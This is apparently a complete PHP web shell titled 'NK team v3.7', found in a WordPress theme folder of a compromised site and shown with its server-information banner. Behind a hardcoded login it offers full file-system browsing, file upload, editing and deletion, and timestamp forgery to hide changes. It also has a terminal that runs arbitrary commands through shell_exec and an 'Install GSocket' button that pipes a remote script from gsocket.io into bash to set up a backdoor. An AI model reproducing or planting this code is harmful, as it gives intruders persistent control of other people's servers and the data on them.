| Server IP : 47.82.179.145 / Your IP : 216.73.217.129 Web Server : nginx/1.26.3 System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64 User : www ( 1001) PHP Version : 8.3.30 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/scuipturepactory.com/wp-content/themes/moonv1/ |
Upload File : |
<?php
session_start([
'cookie_httponly' => true,
'use_strict_mode' => true
]);
$LOGIN_USER = 'google';
$LOGIN_PASS_HASH = '$2a$12$.1VOJmF/jPruvgvOmnN7xe1nQ9O0LQmlOxkEirFEy0X22QmjgxCXe';
if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; }
if (isset($_POST['login'])) {
if ($_POST['username'] === $LOGIN_USER && password_verify($_POST['password'], $LOGIN_PASS_HASH)) {
session_regenerate_id(true);
$_SESSION['ghost_login'] = true;
header("Location: ?"); exit;
} else { $login_error = "Akses Ditolak!"; }
}
if (!isset($_SESSION['ghost_login'])):
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"><title>NK team | Login</title>
<style>
body { background: #0f172a; font-family: sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; color: #f8fafc; }
.card { background: #1e293b; padding: 2rem; border-radius: 1rem; width: 320px; box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.5); border: 1px solid #334155; text-align: center; }
h2 { color: #38bdf8; margin-bottom: 1.5rem; letter-spacing: 2px; }
input { width: 100%; padding: 0.8rem; margin-bottom: 1rem; background: #0f172a; border: 1px solid #334155; border-radius: 0.5rem; color: white; box-sizing: border-box; outline: none; }
button { width: 100%; padding: 0.8rem; background: #0284c7; border: none; border-radius: 0.5rem; color: white; font-weight: bold; cursor: pointer; }
</style>
</head>
<body>
<div class="card">
<h2>NK-TEAM</h2>
<?php if(isset($login_error)) echo "<div style='color:#f43f5e;font-size:0.8rem;margin-bottom:10px;'>$login_error</div>"; ?>
<form method="post"><input type="text" name="username" placeholder="User" required><input type="password" name="password" placeholder="Pass" required><button name="login">UNLOCK</button></form>
</div>
</body>
</html>
<?php exit; endif;
// --- SYSTEM LOGIC ---
error_reporting(0);
date_default_timezone_set('Asia/Jakarta');
$path = (isset($_GET['path']) && is_dir(realpath($_GET['path']))) ? realpath($_GET['path']) : getcwd();
$path = str_replace('\\', '/', $path);
$home = str_replace('\\', '/', realpath(dirname(__FILE__)));
// Actions
if (isset($_GET['del'])) {
$target = $path.'/'.$_GET['del'];
if(is_dir($target)) @rmdir($target); else @unlink($target);
header("Location: ?path=".urlencode($path)); exit;
}
if (isset($_FILES['up'])) { move_uploaded_file($_FILES['up']['tmp_name'], $path.'/'.$_FILES['up']['name']); header("Location: ?path=".urlencode($path)); exit; }
if (isset($_POST['save_f'])) { file_put_contents($path.'/'.$_POST['fname'], $_POST['content']); header("Location: ?path=".urlencode($path)); exit; }
if (isset($_POST['old_n']) && isset($_POST['new_n'])) { rename($path.'/'.$_POST['old_n'], $path.'/'.$_POST['new_n']); header("Location: ?path=".urlencode($path)); exit; }
if (isset($_POST['edit_d'])) { touch($path.'/'.$_POST['edit_d'], strtotime($_POST['new_d'])); header("Location: ?path=".urlencode($path)); exit; }
if (isset($_POST['create_folder'])) { mkdir($path.'/'.$_POST['folder_name']); header("Location: ?path=".urlencode($path)); exit; }
if (isset($_POST['create_file'])) { file_put_contents($path.'/'.$_POST['file_name'], ""); header("Location: ?path=".urlencode($path)); exit; }
function formatSize($s) {
if ($s >= 1048576) return round($s / 1048576, 2) . ' MB';
return round($s / 1024, 2) . ' KB';
}
// Function to get Permissions
function getPerms($f) {
$p = fileperms($f);
if (($p & 0xC000) == 0xC000) $i = 's'; elseif (($p & 0xA000) == 0xA000) $i = 'l'; elseif (($p & 0x8000) == 0x8000) $i = '-'; elseif (($p & 0x6000) == 0x6000) $i = 'b'; elseif (($p & 0x4000) == 0x4000) $i = 'd'; elseif (($p & 0x2000) == 0x2000) $i = 'c'; elseif (($p & 0x1000) == 0x1000) $i = 'p'; else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i . ' (' . substr(sprintf('%o', $p), -4) . ')';
}
?>
<!DOCTYPE html>
<html>
<head>
<title>NK team v3.7</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body { background: #0f172a; color: #e2e8f0; }
.glass { background: rgba(30, 41, 59, 0.95); backdrop-filter: blur(10px); }
::-webkit-scrollbar { width: 5px; }
::-webkit-scrollbar-thumb { background: #334155; border-radius: 10px; }
</style>
</head>
<body class="min-h-screen pb-10">
<nav class="glass border-b border-slate-800 p-4 sticky top-0 z-50 flex justify-between items-center">
<div class="flex items-center gap-4">
<span class="text-sky-500 font-black text-xl tracking-tighter">SAMCAN-KTMBR</span>
<div class="hidden md:flex items-center text-[10px] font-mono bg-slate-900 px-3 py-1 rounded text-slate-500 border border-slate-800">
<?php
$breadcrumbs = explode('/', trim($path, '/'));
$accumulated_path = '';
echo '<a href="?path=/" class="hover:text-sky-400 font-bold text-sky-600">root</a>';
foreach ($breadcrumbs as $crumb) {
if ($crumb === '') continue;
$accumulated_path .= '/' . $crumb;
echo '<span class="mx-1 text-slate-700">/</span>';
echo '<a href="?path=' . urlencode($accumulated_path) . '" class="hover:text-sky-400">' . htmlspecialchars($crumb) . '</a>';
}
?>
</div>
<a href="?path=<?php echo urlencode($path); ?>" class="text-[10px] bg-slate-800 hover:bg-slate-700 p-1 px-2 rounded border border-slate-700 transition">๐ Refresh</a>
</div>
<div class="flex gap-2 text-[10px] font-bold">
<a href="?path=<?php echo urlencode($home); ?>" class="bg-slate-800 border border-slate-700 px-3 py-2 rounded hover:bg-slate-700">HOME</a>
<a href="?logout" class="bg-rose-900/20 text-rose-400 border border-rose-800/50 px-3 py-2 rounded hover:bg-rose-800 transition">LOGOUT</a>
</div>
</nav>
<div class="max-w-7xl mx-auto p-4 mt-6">
<div class="grid grid-cols-1 lg:grid-cols-3 gap-4 mb-6">
<div class="bg-slate-800/30 p-4 rounded-xl border border-slate-800 shadow-lg">
<form method="post" enctype="multipart/form-data" class="flex gap-2">
<input type="file" name="up" class="text-[10px] text-slate-500 file:bg-sky-600 file:border-none file:text-white file:px-3 file:py-1 file:rounded cursor-pointer flex-1">
<button class="bg-sky-600 text-[10px] px-3 py-1 rounded font-bold hover:bg-sky-500 transition">UP</button>
</form>
</div>
<div class="bg-slate-800/30 p-4 rounded-xl border border-slate-800 shadow-lg flex gap-2">
<form method="post" class="flex-1 flex gap-1">
<input type="text" name="folder_name" placeholder="New Folder" class="bg-slate-900 text-[10px] px-2 py-1 border border-slate-700 rounded w-full outline-none focus:border-sky-500">
<button name="create_folder" class="bg-slate-700 text-[10px] px-2 py-1 rounded hover:bg-sky-600 transition">Folder</button>
</form>
<form method="post" class="flex-1 flex gap-1">
<input type="text" name="file_name" placeholder="New File" class="bg-slate-900 text-[10px] px-2 py-1 border border-slate-700 rounded w-full outline-none focus:border-emerald-500">
<button name="create_file" class="bg-slate-700 text-[10px] px-2 py-1 rounded hover:bg-emerald-600 transition">File</button>
</form>
</div>
<div class="bg-slate-800/30 p-4 rounded-xl border border-slate-800 shadow-lg flex items-center justify-between">
<span class="text-[9px] font-bold text-slate-500 uppercase tracking-widest italic">Node: <?php echo php_uname('n'); ?></span>
<button onclick="document.getElementsByName('cmd')[0].value='curl -fsSL https://gsocket.io/x | bash'; document.getElementById('termform').submit();" class="text-[9px] bg-emerald-900/40 text-emerald-400 border border-emerald-800 px-3 py-1 rounded hover:bg-emerald-800 transition font-bold uppercase tracking-widest">Install GSocket</button>
</div>
</div>
<div class="bg-slate-900/80 rounded-xl border border-slate-800 overflow-hidden shadow-2xl mb-6">
<table class="w-full text-sm text-left">
<thead class="text-[10px] text-slate-500 uppercase bg-slate-800/50 tracking-widest font-bold">
<tr><th class="px-6 py-4">Item Name</th><th class="px-6 py-4">Size</th><th class="px-6 py-4">Permissions</th><th class="px-6 py-4 text-center">Timestamp</th><th class="px-6 py-4 text-right">Actions</th></tr>
</thead>
<tbody class="divide-y divide-slate-800">
<tr class="hover:bg-slate-800/30"><td class="px-6 py-3" colspan="5"><a href="?path=<?php echo urlencode(dirname($path)); ?>" class="text-sky-500 flex items-center gap-2 font-bold italic">โคด .. / Parent Directory</a></td></tr>
<?php
$items = scandir($path);
$folders = []; $files = [];
foreach($items as $i) {
if($i == "." || $i == "..") continue;
if(is_dir($path.'/'.$i)) $folders[] = $i; else $files[] = $i;
}
natcasesort($folders); natcasesort($files);
foreach($folders as $f_name):
$f = $path.'/'.$f_name;
$perms = getPerms($f);
$writable = is_writable($f);
?>
<tr class="hover:bg-slate-800/50 transition group bg-slate-800/10 text-xs">
<td class="px-6 py-3 flex items-center gap-3">
<span class="text-xl">๐</span>
<a href="?path=<?php echo urlencode($f); ?>" class="hover:text-sky-400 font-bold text-sky-200"><?php echo $f_name; ?></a>
</td>
<td class="px-6 py-3 text-[10px] font-mono text-slate-600 uppercase font-bold italic">DIR</td>
<td class="px-6 py-3 text-[10px] font-mono <?php echo $writable ? 'text-emerald-500' : 'text-rose-500'; ?>"><?php echo $perms; ?></td>
<td class="px-6 py-3">
<form method="post" class="flex gap-1 items-center justify-center">
<input type="hidden" name="edit_d" value="<?php echo $f_name; ?>">
<input type="datetime-local" name="new_d" value="<?php echo date('Y-m-d\TH:i', filemtime($f)); ?>" class="bg-slate-900 border border-slate-700 text-[9px] rounded p-1 text-slate-500 outline-none">
<button class="opacity-50 hover:opacity-100 transition">๐
</button>
</form>
</td>
<td class="px-6 py-3 text-right">
<div class="flex justify-end gap-3 items-center">
<form method="post" class="flex gap-1">
<input type="hidden" name="old_n" value="<?php echo $f_name; ?>">
<input type="text" name="new_n" value="<?php echo $f_name; ?>" class="bg-slate-900 border border-slate-800 text-[10px] rounded px-2 py-1 w-24 text-slate-400 outline-none">
<button class="opacity-30 hover:opacity-100 transition">โ๏ธ</button>
</form>
<a href="?path=<?php echo urlencode($path); ?>&del=<?php echo urlencode($f_name); ?>" onclick="return confirm('Hapus?')" class="hover:text-rose-500 transition opacity-30 group-hover:opacity-100">๐๏ธ</a>
</div>
</td>
</tr>
<?php endforeach;
foreach($files as $f_name):
$f = $path.'/'.$f_name;
$perms = getPerms($f);
$writable = is_writable($f);
?>
<tr class="hover:bg-slate-800/50 transition group text-xs">
<td class="px-6 py-3 flex items-center gap-3">
<span class="opacity-40 text-lg">๐</span>
<a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f_name); ?>" class="hover:text-sky-400 text-slate-300"><?php echo $f_name; ?></a>
</td>
<td class="px-6 py-3 text-[10px] font-mono text-slate-500 uppercase"><?php echo formatSize(filesize($f)); ?></td>
<td class="px-6 py-3 text-[10px] font-mono <?php echo $writable ? 'text-emerald-500' : 'text-slate-500'; ?>"><?php echo $perms; ?></td>
<td class="px-6 py-3 text-center italic text-[9px] opacity-40"><?php echo date("Y-m-d H:i", filemtime($f)); ?></td>
<td class="px-6 py-3 text-right">
<div class="flex justify-end gap-3 items-center">
<form method="post" class="flex gap-1">
<input type="hidden" name="old_n" value="<?php echo $f_name; ?>">
<input type="text" name="new_n" value="<?php echo $f_name; ?>" class="bg-slate-900 border border-slate-800 text-[10px] rounded px-2 py-1 w-24 text-slate-400 outline-none">
<button class="opacity-30 hover:opacity-100 transition">โ๏ธ</button>
</form>
<a href="?path=<?php echo urlencode($path); ?>&del=<?php echo urlencode($f_name); ?>" onclick="return confirm('Hapus?')" class="hover:text-rose-500 transition opacity-30 group-hover:opacity-100">๐๏ธ</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-6">
<div class="bg-black rounded-xl border border-slate-800 p-5 shadow-2xl">
<div class="text-[9px] font-bold text-slate-600 mb-4 uppercase flex justify-between"><span>Terminal</span><span class="text-emerald-900 italic font-black">Connected</span></div>
<form method="post" id="termform" class="flex gap-2 items-center mb-4 border-b border-emerald-900/30 pb-2">
<span class="text-emerald-500 font-mono text-sm">ฮป</span>
<input type="text" name="cmd" autofocus autocomplete="off" class="bg-transparent border-none outline-none font-mono text-sm text-emerald-400 w-full" placeholder="execute command...">
</form>
<div class="font-mono text-[11px] text-emerald-500/70 max-h-60 overflow-y-auto">
<?php if(isset($_POST['cmd'])) echo nl2br(htmlspecialchars(shell_exec("cd ".escapeshellarg($path)." && ".$_POST['cmd']." 2>&1"))); ?>
</div>
</div>
<div class="bg-slate-800/20 rounded-xl border border-slate-800 p-5 shadow-inner">
<?php if(isset($_GET['edit'])): $ef = $path.'/'.$_GET['edit']; ?>
<h3 class="text-[10px] font-bold text-sky-500 uppercase mb-4 flex justify-between">EDITING: <?php echo htmlspecialchars($_GET['edit']); ?> <a href="?path=<?php echo urlencode($path); ?>" class="text-slate-600 font-black">โ</a></h3>
<form method="post">
<input type="hidden" name="fname" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<textarea name="content" class="w-full h-44 bg-slate-950 border border-slate-800 rounded p-3 font-mono text-[11px] text-emerald-400 outline-none focus:border-sky-900"><?php echo htmlspecialchars(file_get_contents($ef)); ?></textarea>
<button name="save_f" class="mt-3 bg-sky-900/40 border border-sky-800/50 hover:bg-sky-800 text-sky-200 px-4 py-2 rounded text-[10px] font-bold transition w-full uppercase tracking-widest">Save Source Code</button>
</form>
<?php else: ?>
<div class="h-full flex flex-col items-center justify-center text-slate-700 opacity-50 space-y-2 py-10">
<span class="text-4xl">๐</span><span class="text-[10px] font-bold uppercase tracking-widest mt-2">Select file to modify</span>
</div>
<?php endif; ?>
</div>
</div>
</div>
</body>
</html>